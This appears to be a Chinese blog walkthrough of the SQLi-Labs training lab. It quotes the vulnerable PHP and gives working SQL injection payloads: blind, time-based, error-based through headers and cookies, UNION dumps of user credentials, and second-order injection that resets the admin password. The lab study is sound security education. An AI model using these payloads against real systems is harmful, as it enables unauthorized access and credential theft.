結構化查詢語言,也叫作SQL,從根本上說是一種處理數據庫的編程語言。對於初學者,數據庫僅僅是在客戶端和服務端進行數據存儲。SQL經過結構化查詢,關係,面向對象編程等等來管理數據庫。編程極客們老是搞出許多這樣類型的軟件,像MySQL,MS SQL ,Oracle以及Postgresql。如今有一些程序能讓咱們有能力經過結構化查詢來管理大型數據庫。php
咱們將要使用的實驗室是SQLi Labs,它是一個能夠從https://github.com/Audi-1/sqli-labs免費下載,以便咱們研究學習以及編寫安全的程序。mysql
關鍵代碼:git
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";github
能夠看到對於直接 GET 進來的文本沒有過濾。
同時,在查詢語句中,id='$id',變量加了引號。這裏引號的意思是把輸入的 id 當作字符串來處理,取從頭開始的最長數字且類型轉換爲整形進行查詢。sql
?id=12a 顯示id爲12的用戶 ?id=1a2a 顯示id爲1的用戶 ?id=102a 顯示id爲102的用戶(不存在) 盲注 ?id=1%27and+left(version(),1)=5%23 得出數據庫版本爲5開頭 ?id=1%27and+length(database())=8%23 數據庫名長度爲8 ?id=1%27and+left(database(),8)='security'%23 數據庫爲security ?id=1%27and+length(username)=4%23 用戶名長度爲4 ?id=1%27and+left(username,4)='Dumb'%23 用戶名爲Dumb ?id=1%27and+length(password)=4%23 密碼長度爲4 ?id=1%27and+left(password,4)='Dumb'%23 密碼爲Dumb
關鍵代碼:數據庫
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";編程
一樣未作過濾,但此處的變量 id 無引號。大概是直接將變量 id 當作整形傳入查詢。安全
?id=12 顯示 id 爲 12 的用戶 ?id=12a 報錯:Unknown column '12a' in 'where clause' ?id=%31 顯示 id 爲 1 的用戶 注入測試: ?id=1+and+left(version(),1)=5 直接注入便可獲得版本號
關鍵代碼:服務器
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";cookie
未過濾,但變量 id 加了引號和括號。將變量 id 以字符串形式引入,和Less-1很像,可是卻又多了個括號,猜想是防止注入語句。
注入測試: ?id=12+and+1=1 顯示正確 ?id=12+an 不徹底語句也顯示正確 猜想:括號將變量限制在括號範圍內,嘗試手動提早匹配括號注入。 ?id=12%27 成功報錯:''12'') LIMIT 0,1' at line 1 ?id=1%27%29and+1=2%23 無顯示,可注入 上面那條語句還原到 SQL 語句時,爲: SELECT * FORM users WHERE id=('1')and 1=2#') LIMIT 0,1
將括號提早結束且用 #號註釋掉接下來的語句。接下來的注入只要替換 and 1=1 語句就好了。
關鍵代碼:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
對變量 id 作了處理。該處理在 id 先後添加雙引號。
?id=1%22%29+and+1=2%23 無顯示,可注入 SELECT * FROM users WHERE id=("1")and 1=2#") LIMIT 0,1
關鍵代碼:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
?id=1'and+1=2#
關鍵代碼:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
?id=1"and+1=2#
關鍵代碼:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
?id=1'))and 1=2#
關鍵代碼:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
?id=1' and 1=2#
嘗試了不少次,各類組合,可是服務器返回的結果都是同樣。
嘗試 ?id=10000000000
返回結果也是正確,由於不存在這麼大的 id,因此判斷這個頁面把正確和錯誤的信息所有返回一致。
因而,使用基於時間的注入,構造如下語句:
?id=1' and sleep(5) %23
若是錯誤,則服務器處理5秒再返回,不然直接返回,找到正確的注入點。
?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23 ?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23 第一個語句暫停五秒第二個直接返回,判斷數據庫名的第一個字母爲s(ascii爲115)
又是一個基於時間的注入,嘗試了下,注入點在這:
?id=1" and sleep(5) %23
這個頁面採用 POST 的方法獲得數據。因而用 HackBar 修改 post 數據進行測試:
uname=admin&passwd=123' 顯示: ''123'' LIMIT 0,1' 去掉單引號 '123'' LIMIT 0,1 再去掉密碼的單引號 123' LIMIT 0,1
因此肯定是單引號注入,直接萬能密鑰試試:
uname=admin' or '1'='1 &passwd=123456
這裏的話有個點:
若是輸入:uname=admin' or '1'='1 &passwd=123456,會顯示失敗,爲何呢?
首先and的優先級高於or 【就是and先運算】
那麼'1'='1' and password='123456'先運算,由於users表裏面的password字段沒有一個數據時test,右邊是false,那麼整個表達式就是false
這個時候整個的語句就是:
SELECT username, password FROM users WHERE username='test' or false LIMIT 0,1
數據庫裏沒有test用戶,因此就失敗了。
而萬能密鑰的語句是:
SELECT username, password FROM users WHERE username='admin' or false LIMIT 0,1
對於上述的狀況,咱們在密碼字段加入便可
uname=test&passwd=123456' or '1'='1 SELECT username, password FROM users WHERE username='test' or true LIMIT 0,1
先嚐試單引號,雙引號。
輸入:
uname=test&passwd=123456"
報錯:
'"123456"") LIMIT 0,1'
123456") LIMIT 0,1
構造POC:
uname=test&passwd=123456") or "1"="1"#
先嚐試單引號,雙引號。
輸入:
uname=test&passwd=123456'
報錯:
''123456'') LIMIT 0,1'
123456') LIMIT 0,1
構造POC:
uname=test&passwd=123456') or ('1')=('1
或者
uname=test&passwd=123456') or "1"="1"#
先嚐試單引號,雙引號。
輸入:
uname=test&passwd=123456"
報錯:
'"123456"" LIMIT 0,1'
123456" LIMIT 0,1
構造POC:
uname=test&passwd=123456" or "1"="1"#
或者
uname=test&passwd=123456" or "1"="1
這裏輸入單引號,雙引號就不會報錯了,咱們只能加上永真永假或者時間延遲函數了。
測試發現時間延遲不行。
uname=test&passwd=123456' or 1=1#
直接成功了,
試一下盲注也是能夠得。
uname=test&passwd=123456' or length(database())=8#
uname=test&passwd=123456") or 1=1#
成功登錄,時間延遲注入試試
uname=test&passwd=123456") or if(length(database())=7,1,sleep(5)) # 暫停,說明不對 uname=test&passwd=123456") or if(length(database())=8,1,sleep(5)) # 成功登錄
uname=admin&passwd=123456' where username='admin' and 1=2 # 對應的SQL語句是: UPDATE users SET password = '123456' where username='admin' and 1=2 #' WHERE username='admin'
這是 Header 注入。
意思是,從服務器要求的 Header 頭裏面找到能夠注入的注入點。
從源代碼能夠看出,服務器將 Header 裏面的 user-agent 的值沒有通過過濾就帶入了 insert into 語句,這就形成了注入。
$uagent = $_SERVER['HTTP_USER_AGENT']; ... $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
首先,抓包。
還有一個問題就是,insert into 語句要在登錄成功後才能執行,因此必須輸入正確的用戶和密碼再抓包。
xpath注入: payload:updatexml(1,concat(0x7e,(version())),0) 第一個參數是 目標xml 第二個參數是 xpath的表達式,這個看w3c那個xpath教程 第三個參數是 要將xpath的表達式的東西將目標xml替換成什麼
POC:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),",")# 響應: Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,version()),0),"1")# XPATH syntax error: ':5.5.47' User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1")# 響應: Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),"1") XPATH syntax error: ':Dumb'
POC:
Referer: 1' or updatexml(0,concat(0x3a,version()),0),"1")# 響應: Your Referer is: 1' or updatexml(0,concat(0x3a,version()),0),"1") XPATH syntax error: ':5.5.47'
這裏也能夠用一個報錯函數extractvalue
第一個參數也是個xml,第二個參數就是xpath的表達式,這個函數是獲取xml中某個節點的值
與updatexml一次只能更新一個節點不一樣,extractvalue能夠一次獲取多個節點的值,並以空格分隔
POC:
Referer: 1' or extractvalue(0,concat(0x3a,version())),'1')# 響應: Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' or extractvalue(0,concat(0x3a,version())),'1')# XPATH syntax error: ':5.5.47'
這題用 Cookies 注入
POC:
Cookie: uname=admin'; 報錯 Cookie: uname=admin' order by 3#; 正常顯示 Cookie: uname=admin' order by 4#; 報錯,因此是三個字段 Cookie: uname=admin' and 1=2 union select 1,2,3#; 顯示2,3 Cookie: uname=admin' and 1=2 union select 1,database(),version()#; 數據庫:security,版本:5.5.47 Cookie: uname=admin' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#; 表名:emails,referers,uagents,users,這裏也能夠用limit語句 Cookie: uname=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#; 字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password Cookie: uname=admin' and 1=2 union select 1,username,password from users limit 0,1#; 內容:Your Login name:Dumb Your Password:Dumb
cookies 注入
可是,這一次的 cookies 是加密的.
setcookie('uname', base64_encode($row1['username']), time()+3600); ... $cookee = base64_decode($cookee);
POC:
') union select 1,2,username from users# JykgdW5pb24gc2VsZWN0IDEsMix1c2VybmFtZSBmcm9tIHVzZXJzIw== 顯示密碼Dumb
單引號換成雙引號就好了
uname=IiB1bmlvbiBzZWxlY3QgMSwyLHVzZXJuYW1lIGZyb20gdXNlcnMj Your Login name:2 Your Password:Dum
這一題它在輸入的時候過濾了幾個字符
$reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);
因此,咱們不能用 #來註釋掉剩下的查詢語句。
那麼該怎麼辦呢?
一個辦法就是,讓剩下的語句變得完整就行。
查詢語句的代碼爲:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
構造語句:
?id=1'and+'1'='1
二次注入
與數據庫交互的有三個頁面:login_create.php,login.php,pass_change.php
login_create.php,登錄頁面對用戶和密碼都進行了處理。
$username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
login_create.php對新建用戶進行處理
$username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']);
pass_change.php是修改密碼的
關鍵代碼:
$username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows(); ...
能夠發現
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
更改密碼時$username沒有任何過濾,直接帶入進去,若是$username後面有個註釋符,那麼咱們能夠直接繞過驗證$curr_pass而直接更改密碼。
因此咱們要建一個有註釋符的特殊用戶
用戶名:admin'+#+ 密碼: 123456
而後登錄,進入更改密碼頁面
隨便輸入當前密碼,而後輸入咱們要更改的密碼
YOU ARE LOGGED IN AS admin' # You can Change your password here. Current Password: 123 New Password: 123456 Retype Password: 123456
提交,你會發現,admin的密碼已經被咱們改爲123456了。
這題的意思是,「你的 AND 和 OR 都是咱們的了!」...
就是,AND 和 OR 所有都被過濾掉了。
AND==&& OR==|| ?id=1' && '1'='1 url編碼 ?id=1' %26%26 '1'='1
歡迎訪問個人獨立博客:joy_nick